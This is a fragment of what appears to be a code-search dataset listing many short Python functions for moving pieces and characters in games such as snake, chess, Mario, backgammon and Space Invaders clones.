forbidden_columns:\n rannum = random.randrange(7)\n self.place_disc(rannum)\n return 1","def make_move(self, tower):\r\n height, index = self.__find_random_moves(tower)\r\n \r\n if self.stat_brain.all_valid(tower) == 0 or self.stat_brain.is_valid(height, index, tower):\r\n return height, index\r\n else:\r\n while not self.stat_brain.is_valid(height, index, tower):\r\n height, index = self.__find_random_moves(tower)\r\n \r\n return height, index","def move_tie_fighters(self):\n for i in range(len(self.tie_fighters)):\n self.tie_fighters[i].move_tie_fighter()","def move(self):\n if self._z >= 75:\n a = random.random()\n print(str(a))\n if a < 0.2:\n self._z += 1\n if a > 0.2 and a < 0.9:\n self._z -= 1\n if a > 0.9:\n self._z = self._z\n else: \n self._z -= 1\n \n b = random.random()\n print(str(b))\n if b < 0.1:\n self._y += 1\n if b > 0.1 and b < 0.2:\n self._y -= 1\n if b > 0.2 and b < 0.25:\n self._x -= 1\n if b > 0.25:\n self._x += 1","def make_move(self, move):\n self.board[int(move) - 1] = self.nplayer","def do_south(self, arg):\r\n moveDirection('south')","def move(self):\n\n # get the location we WOULD go to\n newX = self.xcor() + self.dx\n newY = self.ycor() + self.dy\n while (abs (newX) > self.BOX_RANGE) or (abs(newY) > self.BOX_RANGE):\n # print(\"choosing new direction... \",end=\"\")\n self.chooseNewDirection()\n # print(self.dx, self.dy)\n newX = self.xcor() + self.dx\n newY = self.ycor() + self.dy\n\n # now move our monster\n super().move()","def _move(self, event):\n if self._current_tower.get_value() > self._coins:\n return\n\n #move the shadow tower to mouse position\n position = event.x, event.y\n self._current_tower.position = position\n\n legal, grid_path = self._game.attempt_placement(position)\n\n #find the best path and covert positions to pixel positions\n path = [self._game.grid.cell_to_pixel_centre(position)\n for position in grid_path.get_shortest()]\n\n #Task 1.2 (Tower placement): Draw the tower preview here\n self._view.draw_preview(self._current_tower, legal)\n self._view.draw_path(path)","def turn_right(self):\n pass","def move(self):\n assert self.is_alive, \"Sprite is dead, and should not be able to move\"\n if self.health > 3:\n self.y += random.randint(-1, 1) # change by -1, 0, 1\n self.x += random.randint(-1, 1) # change by -1, 0, 1\n print(self.name, \"moves to position\", str(self.x), \",\", str(self.y))","def move(self):\n pass","def move(self, direction):\n newx = self.x\n newy = self.y\n newy += random.randint(-1, 1)\n newx += random.randint(-1, 1)\n if self.tmap.contents[newy][newx] != '#':\n self.x = newx\n self.y = newy","def dest(side):\n return (side - 1) % 3 # cw(side)","def move(t, length):\n pu(t)\n\t\n fd(t, length)\n pd(t)","def _change_fleet_direction(self): \n for alien in self.aliens.sprites():\n alien.rect.y += self.settings.fleet_drop_speed\n self.settings.fleet_direction *= -1","def move(self):\n self._move_range_shuffle(3)\n self._move_satisfy_random_constraint()\n # self._move_range_shuffle(3)\n #if (curr_energy > 50):\n # self._move_satisfy_random_constraint()\n #else:\n # self._move_range_shuffle(3)","def steerright(self):\n self.direction = self.direction-self.steering\n if self.direction < 0:\n self.direction = 360-90\n self.image, self.rect = rot_center(self.image_orig,self.rect,self.direction)","def move_down():\n return __maze.move_down()","def move(self, direction: str) -> int:\n x, y = self.snake[-1][0] + self.dirs[direction][0], self.snake[-1][1] + self.dirs[direction][1]\n # print(x,y)\n # went out bound\n if x >= self.n or y >= self.m or x < 0 or y < 0:\n return -1\n tail = self.snake.popleft()\n self.snake_set.discard(tail)\n if (x, y) in self.snake_set:\n return -1\n\n if len(self.food) > 0 and (x, y) == (self.food[0][0], self.food[0][1]):\n self.food.popleft()\n self.snake.appendleft(tail)\n self.snake_set.add(tail)\n self.snake.append((x, y))\n self.snake_set.add((x, y))\n\n return len(self.snake) - 1","def moveDown():\n tt.right(90)\n tt.forward(60)\n tt.right(90)\n tt.forward(250)\n tt.right(180)","def moveRight(self,board_object):\n\t\tif checkClash(board_object,self,self.x,self.y+1) == 0:\n\t\t\toverlayMatrix(board_object,self,self.x,self.y+1)\n\t\t\tself.setPos(self.x,self.y+1)\n\t\t\tif self.y > board_object.start + 25: \n\t\t\t\tboard_object.start += 1\n\t\telse:\n\t\t\treturn 1","def _change_fleet_direction(self):\n\t\tfor alien in self.aliens.sprites():\n\t\t\talien.rect.y += self.settings.fleet_drop_speed\n\t\tself.settings.fleet_direction*=-1","def hanoi_tower(n):\n def move_tower(height, from_pole, to_pole, with_pole):\n if height >= 1:\n move_tower(height-1, from_pole, with_pole, to_pole)\n move_disc(from_pole, to_pole, height)\n move_tower(height-1, with_pole, to_pole, from_pole)\n\n def move_disc(fp, tp, height):\n tp.append(fp.pop())\n show_poles()\n\n def show_poles():\n line = \"\"\n line += '{:<{}s}'.format(str(a), str_len)\n line += '{:<{}s}'.format(str(b), str_len)\n line += '{:<{}s}'.format(str(c), str_len)\n print(line)\n\n a = list(range(n, 0, -1))\n b = []\n c = []\n str_len = len(str(a))\n\n show_poles()\n move_tower(n, a, c, b)\n print('\\n')","def _change_fleet_direction(self):\n for alien in self.aliens.sprites():\n alien.rect.y += self.settings.fleet_drop_speed\n self.settings.fleet_direction *= -1","def _change_fleet_direction(self):\n for alien in self.aliens.sprites():\n alien.rect.y += self.settings.fleet_drop_speed\n self.settings.fleet_direction *= -1","def move(self, row, col, player):","def towel_of_hanoi(n):\n degs = [[n - i for i in range(n)], [], []]\n move(degs, 0, 2, n)","def move_of_king_and_rook(self, from_row, from_col, to_row, to_col): \n #provjere da li su kraljevi ili topovi inicirali pomijeranje\n if(from_row == 7 and from_col == 0):\n self.wrl_moved = True\n elif(from_row == 7 and from_col == 7):\n self.wrr_moved = True\n elif(from_row == 7 and from_col == 4):\n self.wk_moved = True\n elif(from_row == 0 and from_col == 0):\n self.brl_moved = True\n elif(from_row == 0 and from_col == 7):\n self.brr_moved = True\n elif(from_row == 0 and from_col == 4):\n self.bk_moved = True\n \n #provjera da li je neko pojeo topove\n if(to_row == 7 and to_col == 0):\n self.wrl_moved = True\n elif(to_row == 7 and to_col == 7):\n self.wrr_moved = True\n elif(to_row == 0 and to_col == 0):\n self.brl_moved = True\n elif(to_row == 0 and to_col == 7):\n self.brr_moved = True","def make_move(self, direction):\r\n\t\tif direction == 0:\r\n\t\t\tself.board[self.x][self.y], self.board[self.x-1][self.y] = self.board[self.x-1][self.y], self.board[self.x][self.y]\r\n\t\t\tself.x -= 1\r\n\r\n\t\telif direction == 1:\r\n\t\t\tself.board[self.x][self.y], self.board[self.x][self.y+1] = self.board[self.x][self.y+1], self.board[self.x][self.y]\r\n\t\t\tself.y += 1\r\n\r\n\t\telif direction == 2:\r\n\t\t\tself.board[self.x][self.y], self.board[self.x+1][self.y] = self.board[self.x+1][self.y], self.board[self.x][self.y]\r\n\t\t\tself.x += 1\r\n\r\n\t\telif direction == 3:\r\n\t\t\tself.board[self.x][self.y], self.board[self.x][self.y-1] = self.board[self.x][self.y-1], self.board[self.x][self.y]\r\n\t\t\tself.y -= 1","def movement(self):","def _change_fleet_direction(self):\n\t\tfor auto in self.autos.sprites():\n\t\t\tauto.rect.y -= self.settings.fleet_rise_speed\n\t\tself.settings.fleet_direction *= -1","def move_to_position2(self):","def turn_right(self):\n self.facing_direction += self.config\n if self.facing_direction > 7:\n self.facing_direction -= 8\n self.x, self.y = self.compute_positions()","def roll_dices(self):\n dice1 = random.randint(1, 6)\n dice2 = random.randint(1, 6)\n\n self.client.send_player_end_dices()\n self.game.player_rolled_dices([dice1, dice2])\n asyncio.ensure_future(self.move(dice1 + dice2))","def move(self, direction: str) -> int:\n (i, j), _ = self.position.popitem(last=True) # current position\n self.position[(i, j)] = 0 # add back \n if direction == \"U\": i -= 1\n elif direction == \"L\": j -= 1\n elif direction == \"R\": j += 1\n else: i += 1\n if self.food and self.food[0] == [i, j]: self.food.popleft()\n else: self.position.popitem(last=False)\n if not (0 <= i < self.height and 0 <= j < self.width) or (i, j) in self.position: return -1 # game over \n self.position[(i, j)] = 0\n return len(self.position)-1","def go_up(self):\n\t\tself.x,self.y = Mario._get_coordinates(Board.prev_i,Board.prev_j,Board.prev_k)\n\t\tMario._pass(self.x,self.y)\n\t\ttemp = self.x\n\t\tflag = 0\n\t\twhile(temp>=self.x-8):\n\t\t\tif(Board.board[temp][self.y] in obstacles):\n\t\t\t\tflag = 1\n\t\t\t\ttemp_x = temp+1\n\t\t\t\tbreak\n\t\t\ttemp = temp-1\n\n\t\tif(not flag):\n\t\t\ttemp_x = self.x-8\n\n\t\tif Board.board[temp_x-1][self.y]=='B':\n\t\t\tnew = self.y\n\t\t\tfor i in range(new-4,new+5):\n\t\t\t\tif Board.board[temp_x-1][i]=='B':\n\t\t\t\t\tBoard.board[temp_x-1][i]='T'\n\t\t\tMario.bonus+=50\n\t\t\tif self.y==229 or self.y ==230 or self.y==231:\n\t\t\t\tBoard.board[23][230]='P'\n\n\n\t\tBoard.board[temp_x][self.y] = 'M'\t\t\n\t\tos.system('clear')\n\t\tinit_board(Board.prev_i,Board.prev_j,Board.prev_k)","def make_move(self, move):\n if int(move) < 0 or int(move) > 48 or self.board[int(move) // 7][int(move) % 7] != \"\" or int(move) % 2 == 0:\n raise ValueError(\"{} is not a valid move for {}\".format(move, self.board))\n DotsAndBoxesState.score1 += self.check_score(move)\n self.board[int(move) // 7][int(move) % 7] = colors[self.turn] + self.turn + \"\\u001b[0m\"\n self.turn = get_opponent(self.turn) #change into another player's trun","def move(x,y):\r\n pass","def _move_down(self):\n new_pos = self._pos + _Vec3(0, -1, 0)\n block_ = self._get_block(new_pos)\n if block_ != _WATER:\n self._add_to_inv(block_)\n self._move(new_pos)","def move_random(self, board: Board) -> None:\n rnd_move_idx = randint(0,4)\n # moves: stay, up, left, right, down\n moves = [[0,0], [0,-1], [-1,0], [1,0], [0,1]]\n\n if board.can_position_at(self.x + moves[rnd_move_idx][0], self.y + moves[rnd_move_idx][1]):\n board.set_element_at_position(0, self.x, self.y)\n self.x += moves[rnd_move_idx][0]\n self.y += moves[rnd_move_idx][1]\n board.set_element_at_position(3, self.x, self.y)\n print(\"Bomberman moved to [\", self.x, \",\", self.y, \"]\")","def change_fleet_direction(si_settings, aliens):\n for alien in aliens.sprites():\n alien.rect.y += si_settings.fleet_drop_speed\n si_settings.fleet_direction *= -1","def turn_around():\n for i in range(2):\n turn_left()","def makeMove(self, move, player):","def change_fleet_direction(si_settings, aliens):\r\n for alien in aliens.sprites():\r\n alien.rect.y += si_settings.fleet_drop_speed\r\n si_settings.fleet_direction *= -1","def right_twist(self):\n self.turn_by_deg(180)\n #time.sleep(.1)\n self.stop()\n self.turn_by_deg(180)\n #time.sleep(.1)\n self.stop()","def move_marble(self, coordinates, direction):\n pass","def movev2(self, abz_increase, abz_decrease, bbz_increase, bbz_decrease, north, south, west):\n if self._z >= 75:\n a = random.randint(1, 100)\n# print(str(a))\n if a <= abz_increase:\n self._z += 1\n if a > abz_increase and a <= (abz_increase + abz_decrease):\n self._z -= 1\n if a > (abz_increase + abz_decrease):\n self._z = self._z\n else:\n c = random.randint(1, 100)\n# print(str(c))\n if c <= bbz_increase:\n self._z += 1\n if c > bbz_increase and c <= (bbz_increase + bbz_decrease):\n self._z -= 1\n if c > (bbz_increase + bbz_decrease):\n self._z = self._z\n self._z -= 1\n \n b = random.randint(1, 100)\n# print(str(b))\n if b <= north:\n self._y += 1\n if b > north and b <= (north + south):\n self._y -= 1\n if b > (north + south) and b <= (north + south + west):\n self._x -= 1\n if b > (north + south + west):\n self._x += 1","def move(self):\n \n # checks for bots nearby\n next_move = self.follow()\n \n # finds a random move if no bot\n if next_move is self.position:\n self.position = self.wander()\n else:\n self.position = next_move","def move(self):\n if VERBOSE:\n print('-- move', self.move_number, '--')\n self.display_cups()\n\n picked_up = self.pick_up_cups(3)\n self.update_destination_cup()\n\n if VERBOSE:\n print('pick up: ', end='')\n for pick in picked_up:\n print(pick, end=' ')\n print()\n print('destination:', self.destination)\n print()\n\n self.insert_cups(inserts=picked_up, insert_after=self.destination)\n self.select_new_current_cup()\n\n self.move_number += 1","def __snake_move(self):\n self.__eat_candy()\n # move tail and body\n n_snake = len(self.__snake)\n for i in range(1, n_snake):\n s2 = self.__snake[n_snake - i]\n s1 = self.__snake[n_snake - i - 1]\n s2.move(s1.pos())\n # move head\n pos = self.__snake[0].pos()\n tmp_snake = Snake(self, direction=self.__h_direction, position=pos)\n h_pos = self.__get_next_head_pos(tmp_snake)\n tmp_snake.remove()\n icon = f'resources/{self.__directions[self.__h_direction]}.svg'\n new_head = Snake(self, icon, self.__h_direction, self.__cell_edge, h_pos)\n old_head = self.__snake[0]\n self.__snake[0] = new_head\n old_head.remove()\n self.__crash_check()","def move_repeatedly():\n check = check50.run(run_command)\n check.stdin(\"WEST\").stdout(room_2_description)\n check.stdin(\"EAST\").stdout(room_1_name)\n check.stdin(\"WEST\").stdout(room_2_name)","def next_turn(self): \n if (self.moves):\n self.board = self.select_move() \n self.moves = []\n self.roll = self.roll_dice()\n self.player = not self.player\n self.generate_valid_moves()","def turn_ship_left(self):\n self.degrees += movement","def test_move_knight_legally(self):\n self.c.board[6] = [(0, 0) for i in range(8)]\n for piece in [('N', True), ('N', False)]:\n self.c.turn = piece[1]\n self.c.board[4][4] = piece\n for dest in ['d6', 'f6', 'c5', 'g5', 'c3', 'g3', 'd2', 'f2']:\n self.groups['dest'] = dest\n self.assertEqual(self.c._knight_evaluator(self.groups), (4, 4))","def move_west(self):\n self.horizontal = (self.horizontal * 2)[1:5]\n self.vertical[0] = self.horizontal[1]\n self.vertical[2] = self.horizontal[3]","def move(self, direction):\n # replace with your code\n pass","def move(self, direction):\n # replace with your code\n pass","def turn_right(self):\n turn = self.__heading - Ship.TURN\n if turn < Ship.MIN_HEADING:\n turn += Ship.MAX_HEADING\n self.__heading = turn","def MoveRightStep(self):\n if self.facing == 0:\n self.facing = 1\n self.x += self.stepLeft\n elif self.facing == 1:\n self.facing = 2\n self.y += self.stepUp\n elif self.facing == 2:\n self.facing = 3\n self.x -= self.stepRight\n elif self.facing == 3:\n self.facing = 0\n self.y -= self.stepDown","def make_move(self, row, column):\n\t\tif self.board[int(row)][int(column)] == '-':\n\t\t\tself.board[int(row)][int(column)] = self.marker\n\t\telse:\n\t\t\tprint(\"That spot is occupied, you messed up, you lose your turn for doing bad things\")","def wander(self):\n \n has_new_pos = False\n while not has_new_pos:\n move = random.choice(self.moves)\n new_pos = add_lists(move, self.position)\n has_new_pos = check_bounds(new_pos, self.grid_size)\n return new_pos","def move_to_position1(self):","def change_fleet_direction(ai_settings, aliens):\n for alien in aliens.sprites():\n alien.rect.y += ai_settings.fleet_drop_speed\n ai_settings.fleet_direction *= -1","def change_fleet_direction(ai_settings, aliens):\n for alien in aliens.sprites():\n alien.rect.y += ai_settings.fleet_drop_speed\n ai_settings.fleet_direction *= -1","def move_draught(event):\n global red_turn\n if(red_turn == False):\n return\n draught = board.find_withtag(CURRENT)[0]\n board.coords(draught,event.x-click_offset[0],event.y-click_offset[1],event.x-click_offset[0]+board_divisions,event.y-click_offset[1]+board_divisions)","def move_down(self):\n self.y -= 1","def AeroMove(self, pos):\r\n\r\n pass","def move_to(self, x, y):\r\n self.__current_room = x, y","def move(exits, direction):\r\n return rooms[exits[direction]]","def left_twist(self):\n self.turn_by_deg(-179)\n #time.sleep(.1)\n self.stop()\n self.turn_by_deg(-179)\n #time.sleep(.1)\n self.stop()","def go_down(self):\n\t\tself.x,self.y = Mario._get_coordinates(Board.prev_i,Board.prev_j,Board.prev_k)\n\t\tif(Board.board[self.x+1][self.y]=='@'):\n\t\t\tMario.bonus += 100\n\t\t\tBoard.board[self.x+1][self.y]='M'\n\t\t\tcall([\"aplay\",\"-q\",\"smb_stomp.wav\"])\n\n\t\t\tfor en in Enemy.enemies:\n\t\t\t\tif en.x==self.x+1 and en.y == self.y:\n\t\t\t\t\tEnemy.enemies.remove(en)\n\t\t\tMario._pass(self.x,self.y)\n\n\t\telif Board.board[self.x+1][self.y]=='S' or Board.board[self.x+1][self.y]=='E':\n\t\t\tMario._pass(self.x,self.y)\n\t\t\tBoard.board[self.x-25][self.y]='M'\n\n\t\telif Board.board[self.x+1][self.y]=='P':\n\t\t\tMario.lives+=1\n\t\t\tMario._pass(self.x,self.y)\n\t\t\tBoard.board[self.x+1][self.y]='M'\n\t\t\tcall([\"aplay\",\"-q\",\"smb_1-up.wav\"])\n\n\t\telif Board.board[self.x+1][self.y]=='A':\n\t\t\tMario.attack=1\n\t\t\tBoard.board[self.x][self.y]=' '\n\t\t\tBoard.board[self.x+1][self.y]='M'\n\t\t\tcall([\"aplay\",\"-q\",\"smb_powerup.wav\"])\t\t\t\t\t\t\n\n\t\telif Board.board[self.x+1][self.y]=='-':\n\t\t\tMario._pass(self.x,self.y)\n\t\t\tMario.lives -= 1\n\t\t\tcall([\"aplay\",\"-q\",\"smb_mariodie.wav\"])\n\t\t\tif Mario.lives<=0:\n\t\t\t\tcall([\"aplay\",\"-q\",\"smb_gameover.wav\"])\n\t\t\t\treturn \"exit\"\n\t\t\tminimum = 500\n\t\t\tos.system('clear')\n\t\t\tBoard.board[self.x][self.y]=' '\n\t\t\tprint(\"\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\n\\t\\t\\t\\t\\t\\tNumber of Mario left:\",Mario.lives)\n\t\t\tfor gaps in Board.gap:\n\t\t\t\tif self.y-gaps>=0:\n\t\t\t\t\tif self.y-gaps < minimum:\n\t\t\t\t\t\tminimum = self.y - gaps\n\t\t\t\t\t\ttemp_space = gaps\n\n\t\t\tBoard.board[35][temp_space-3]='M'\n\t\t\ttime.sleep(2)\n\n\n\t\telif Board.board[self.x+1][self.y]=='0':\n\t\t\tMario._pass(self.x,self.y)\n\t\t\tMario.score+=1\n\t\t\tBoard.board[self.x+1][self.y]='M'\n\n\t\telif Board.board[self.x+1][self.y]=='/' or Board.board[self.x+1][self.y]=='<':\n\t\t\tBoard.board[self.x][self.y]='M'\n\n\t\telif Board.board[self.x+1][self.y] not in obstacles:\n\t\t\tMario._pass(self.x,self.y)\n\t\t\tBoard.board[self.x+1][self.y]='M'\n\n\t\tos.system('clear')\n\t\tinit_board(Board.prev_i,Board.prev_j,Board.prev_k)","def force_move():\n if ZERO_BASE_PLYR_POS in range(0, 10):\n # we cant go up, so go down\n move_player(\"south\")\n else:\n move_player(\"north\")","def move_buildings(self):","def set_rival_move(self, pos):\n self.board[pos[0]][pos[1]] = 2","def move(self, row, col, player):\n offset = player * 2 - 3 # 1 or -1\n self.row[row] += offset\n self.col[col] += offset\n if row == col:\n self.diag += offset\n if row + col == self.n - 1:\n self.anti_diag += offset\n if self.n in [self.row[row], self.col[col], self.diag, self.anti_diag]:\n return 2\n if -self.n in [self.row[row], self.col[col], self.diag, self.anti_diag]:\n return 1\n return 0","def swipeDown (self) :\n rotated = Grid(np.rot90(np.rot90(self.grid)))\n self.grid = np.rot90(np.rot90(rotated.swipeBase()))","def swipeRight (self) :\n rotated = Grid(np.rot90(self.grid))\n self.grid = np.rot90(np.rot90(np.rot90(rotated.swipeBase())))","def ran_direction(self,room):\r\n ran_dirt = self.random()\r\n if 1 == ran_dirt: \r\n room.front_attch(True)\r\n elif 2 == ran_dirt: \r\n room.back_attch(True)\r\n elif 3 == ran_dirt: \r\n room.left_attch(True)\r\n elif 4 == ran_dirt: \r\n room.right_attch(True)\r\n return room","def move(self, direction, cycles):\n\t\tpass","def move_girl2(girl):\n global trainer_speed, girlcount2, girl_left2\n if girl_left2:\n for i in girl:\n i.x -= trainer_speed\n i.move_speed()\n girlcount2 += 0.5\n girl_frame = int(girlcount2) % 3\n camera.draw(girl[girl_frame])\n else:\n for i in girl:\n i.x += trainer_speed\n i.move_speed()\n girlcount2 += 0.5\n girl_frame = int(girlcount2) % 3\n camera.draw(girl[girl_frame + 3])\n for each in girl:\n if each.x < 20:\n girl_left2 = False\n if each.x > 780:\n girl_left2 = True","def move_right(self):\n self.rect.x += 5 # Moves to the right by 5\n\n # If the player reaches the edge of the screen, they can't go further\n if self.rect.x >= 580:\n self.rect.x = 580","def _change_fleet_direction(self):\n for alien in self.aliens.sprites():\n alien.rect.x -= self.settings.fleet_approach_speed\n self.settings.fleet_direction *= -1","def move_to(self, new_pos, pass_go=True):\r\n new_pos = new_pos % 40\r\n if self.pos > new_pos and pass_go:\r\n self.money += 200\r\n self.pos = new_pos","def do_west(self, arg):\r\n moveDirection('west')"],"string":"[\n \"def shift_board(self, dx, dy):\\n super().shift_board(dx, dy)\\n self.goals = np.roll(self.goals, dy, axis=0)\\n self.goals = np.roll(self.goals, dx, axis=1)\",\n \"def moveSouth(self):\\n self._move('s', Tile.VerticalDifference)\",\n \"def move(self):\\n \\n self.position = self.wander()\",\n \"def throw(self, move):\\n for dice_index in move:\\n self.dice[dice_index - 1] = random.randint(1,6)\",\n \"def _move_randomly(self):\\n a, b = randint(0, len(self.state) - 1), randint(0, len(self.state) - 1)\\n wiz1, wiz2 = self.state[a], self.state[b]\\n self._swap_wizards(wiz1, wiz2)\",\n \"def move(self):\\n if random.random() < 0.5:\\n self.y = (self.y + 1) % 100\\n else:\\n self.y = (self.y - 1) % 100\\n if random.random() < 0.5:\\n self.x = (self.x + 1) % 100\\n else:\\n self.x = (self.x - 1) % 100\",\n \"def moveSouth(self):\\n south = (self.current[0], self.current[1] + 1)\\n mv = self.lab.south()\\n self.check_grue(mv)\\n self.current = south\\n self.visited.add(self.current)\",\n \"def turn(self):\\r\\n # 1 throw the dice\\r\\n if (\\r\\n not self.player_list[self.current_player].is_in_jail()\\r\\n or self.try_leave_jail()\\r\\n ):\\r\\n thr = Throw()\\r\\n while thr is not None:\\r\\n # check in where the current player will land\\r\\n new_position = self.compute_new_position_from_dice(\\r\\n self.current_player, thr\\r\\n )\\r\\n self.move_player_to(self.current_player, new_position, thr=thr)\\r\\n\\r\\n if thr.is_double():\\r\\n thr = Throw()\\r\\n else:\\r\\n thr = None\\r\\n print(\\\"------------------------------\\\")\\r\\n\\r\\n self.player_observable_variables()\\r\\n\\r\\n # move turn to next player\\r\\n self.current_player += 1\\r\\n if self.current_player >= len(self.player_list):\\r\\n self.current_player = 0\\r\\n self.full_turn_count += 1\\r\\n print(\\\"**********************\\\")\\r\\n print(\\r\\n \\\"Full turn:\\\",\\r\\n self.full_turn_count,\\r\\n \\\"\\\\n\\\",\\r\\n \\\"\\\\n\\\".join(map(lambda x: x.full(), self.player_list)),\\r\\n )\\r\\n print(\\\"**********************\\\")\",\n \"def move_south(self):\\n self.vertical = (self.vertical * 2)[3:7]\\n self.horizontal[1] = self.vertical[0]\\n self.horizontal[3] = self.vertical[2]\",\n \"def move(self):\\r\\n if self.d == 'NORTH' and (self.y + 1) <= table_max_y:\\r\\n self.y += 1\\r\\n elif self.d == 'EAST' and (self.x + 1) <= table_max_x:\\r\\n self.x += 1\\r\\n elif self.d == 'SOUTH' and (self.y - 1) >= 0:\\r\\n self.y -= 1\\r\\n elif self.d == 'WEST' and (self.x - 1) >= 0:\\r\\n self.x -= 1\\r\\n else:\\r\\n print(\\\"Edge of Table Reached!\\\")\",\n \"def turn_ship_right(self):\\n self.degrees -= movement\",\n \"def shift_board(self, dx, dy):\\n self.board = np.roll(self.board, dy, axis=0)\\n self.board = np.roll(self.board, dx, axis=1)\\n self.agent_locs += [dy, dx]\\n self.agent_locs %= self.board.shape\\n self.update_exit_locs()\",\n \"def fireSouth(self):\\n self.rotate('s')\\n gun = Laser(self)\\n gun.shoot('s')\\n self.agent.actionCompleted()\",\n \"def migration(self):\\n\\n coordinates = self.get_random_coordinates()\\n for coordinate in coordinates:\\n if isinstance(self.cells[coordinate], (Jungle, Savannah, Desert)):\\n self.cell_move_herbivores(coordinate)\\n self.cell_move_carnivores(coordinate)\\n\\n for coordinate in coordinates:\\n if isinstance(self.cells[coordinate], (Jungle, Savannah, Desert)):\\n self.cells[coordinate].move_new_animals()\",\n \"def move_south(self):\\r\\n self.move(dx=0, dy=1)\",\n \"def move_draught_end(event):\\n global red_draughts, white_draughts\\n global board_array\\n global old_point\\n global die_1_num, die_2_num, doubles\\n draught = board.find_withtag(CURRENT)[0]\\n #Figure out which point they want to put it on\\n bottom = (event.y-click_offset[1] >= board_height//2)\\n point_left_edges = [board_divisions*i for i in xrange(0,15) if i != 7]\\n is_red = draught in red_draughts\\n if bottom == False:\\n new_point = 12+point_left_edges.index(min(point_left_edges, key=lambda x:abs(x-event.x+click_offset[0])))\\n else:\\n new_point = 13-point_left_edges.index(min(point_left_edges, key=lambda x:abs(x-event.x+click_offset[0]))) \\n #Check legality\\n if(board_array[new_point][1] > 1 and is_red) or (board_array[new_point][0] > 1 and not is_red): #if too many opposite color on square\\n draw_draughts()\\n return\\n if(board_array[0][0] > 0 and is_red and old_point != 0)or(board_array[25][1] > 0 and not is_red and old_point != 25):#Obligated to move off bar first\\n draw_draughts()\\n return\\n if(new_point == 0 and not is_red): #if white trying to bear off\\n for i in xrange(7,26):\\n if(board_array[i][1] > 0): #If white has a piece outside home, can't bear off\\n draw_draughts()\\n return\\n if(new_point == 25 and is_red): #if red trying to bear off\\n for i in xrange(0,18):\\n if(board_array[i][0] > 0): #If red has a piece outside home, can't bear off\\n draw_draughts()\\n return \\n \\n if(new_point-old_point == die_1_num and is_red) or (old_point-new_point == die_1_num and not is_red):\\n if(doubles == False) or (die_2_num != 0):\\n die_1_num = 0\\n else: \\n die_2_num = die_1_num\\n doubles = False\\n elif(new_point-old_point == die_2_num and is_red) or (old_point-new_point == die_2_num and not is_red):\\n if(doubles == False) or (die_1_num != 0):\\n die_2_num = 0\\n else: \\n die_1_num = die_2_num\\n doubles = False\\n else: #Can't move there on this roll\\n draw_draughts()\\n return\\n update_dice()\\n #Update board_array\\n if is_red:\\n board_array[old_point][0] -= 1\\n board_array[new_point][0] += 1\\n if(board_array[new_point][1] == 1): #Handle hits\\n board_array[new_point][1] -= 1\\n board_array[25][1] += 1\\n else:\\n board_array[old_point][1] -= 1\\n board_array[new_point][1] += 1\\n if(board_array[new_point][0] == 1): #Handle hits\\n board_array[new_point][0] -= 1\\n board_array[0][0] += 1\\n\\n draw_draughts()\\n if(die_1_num == 0 and die_2_num == 0):\\n comp_turn()\",\n \"def move(self):\\n if self.adjustment > 0:\\n # The player moves up a ladder\\n old_position = self.position\\n # In the next move, player on top of ladder\\n\\n self.position = old_position - self.dropped_steps\\n # player drops steps\\n super().move()\\n # player move\\n die = self.position - old_position + self.dropped_steps - \\\\\\n self.adjustment\\n \\\"\\\"\\\" \\n the current position of the player is: old position - \\n dropped_steps + die + adjustment. Rearranging to find the die.\\n \\n \\\"\\\"\\\"\\n if die < self.dropped_steps:\\n self.position = old_position\\n # if die is less than dropped_steps, the player will stand still.\\n else:\\n super().move()\\n # if not climbling a ladder, then the player make a regular move\",\n \"def make_turn(self):\\n # if play first, start in the middle\\n if np.count_nonzero(self.board) == 0:\\n self.place_disc(self.board.shape[1] / 2)\\n return 1\\n\\n\\n # win if possible\\n for try_column in range(0,self.board.shape[1]):\\n if 0 == self.board[0, try_column]:\\n new_board = self.simulate_place_disc(self.board, try_column, self.id())\\n if dhw.did_he_win(new_board, self.id(), try_column):\\n self.place_disc(try_column)\\n return 1\\n\\n # don't loose if in danger\\n for try_column in range(0, self.board.shape[1]):\\n if 0 == self.board[0,try_column]:\\n new_board = self.simulate_place_disc(self.board, try_column, 3 - self.id())\\n if dhw.did_he_win(new_board, 3 - self.id(), try_column):\\n self.place_disc(try_column)\\n return 1\\n\\n # don't fall in trap!\\n forbidden_columns = []\\n for try_column in range(0, self.board.shape[1]):\\n if 0 == self.board[0,try_column]:\\n new_board = self.simulate_place_disc(self.board, try_column, self.id()) # my move\\n new_board = self.simulate_place_disc(new_board, try_column, 3 - self.id()) # enemy move\\n if dhw.did_he_win(new_board, 3 - self.id(), try_column):\\n if try_column not in forbidden_columns: forbidden_columns.append(try_column)\\n\\n # don't ruin my trap\\n for try_column in range(0, self.board.shape[1]):\\n if 0 == self.board[0,try_column]:\\n new_board = self.simulate_place_disc(self.board, try_column, 3 - self.id()) # 'my' move\\n new_board = self.simulate_place_disc(new_board, try_column, self.id()) # my move\\n if dhw.did_he_win(new_board, self.id(), try_column):\\n if try_column not in forbidden_columns: forbidden_columns.append(try_column)\\n\\n # allow forbidden_columns if no other choice\\n if np.count_nonzero(self.board[0, :]) == self.board.shape[1] - len(forbidden_columns):\\n forbidden_columns = []\\n\\n # otherwise, play randomly\\n rannum = random.randrange(7)\\n while 0 != self.board[0, rannum] or rannum in forbidden_columns:\\n rannum = random.randrange(7)\\n self.place_disc(rannum)\\n return 1\",\n \"def make_move(self, tower):\\r\\n height, index = self.__find_random_moves(tower)\\r\\n \\r\\n if self.stat_brain.all_valid(tower) == 0 or self.stat_brain.is_valid(height, index, tower):\\r\\n return height, index\\r\\n else:\\r\\n while not self.stat_brain.is_valid(height, index, tower):\\r\\n height, index = self.__find_random_moves(tower)\\r\\n \\r\\n return height, index\",\n \"def move_tie_fighters(self):\\n for i in range(len(self.tie_fighters)):\\n self.tie_fighters[i].move_tie_fighter()\",\n \"def move(self):\\n if self._z >= 75:\\n a = random.random()\\n print(str(a))\\n if a < 0.2:\\n self._z += 1\\n if a > 0.2 and a < 0.9:\\n self._z -= 1\\n if a > 0.9:\\n self._z = self._z\\n else: \\n self._z -= 1\\n \\n b = random.random()\\n print(str(b))\\n if b < 0.1:\\n self._y += 1\\n if b > 0.1 and b < 0.2:\\n self._y -= 1\\n if b > 0.2 and b < 0.25:\\n self._x -= 1\\n if b > 0.25:\\n self._x += 1\",\n \"def make_move(self, move):\\n self.board[int(move) - 1] = self.nplayer\",\n \"def do_south(self, arg):\\r\\n moveDirection('south')\",\n \"def move(self):\\n\\n # get the location we WOULD go to\\n newX = self.xcor() + self.dx\\n newY = self.ycor() + self.dy\\n while (abs (newX) > self.BOX_RANGE) or 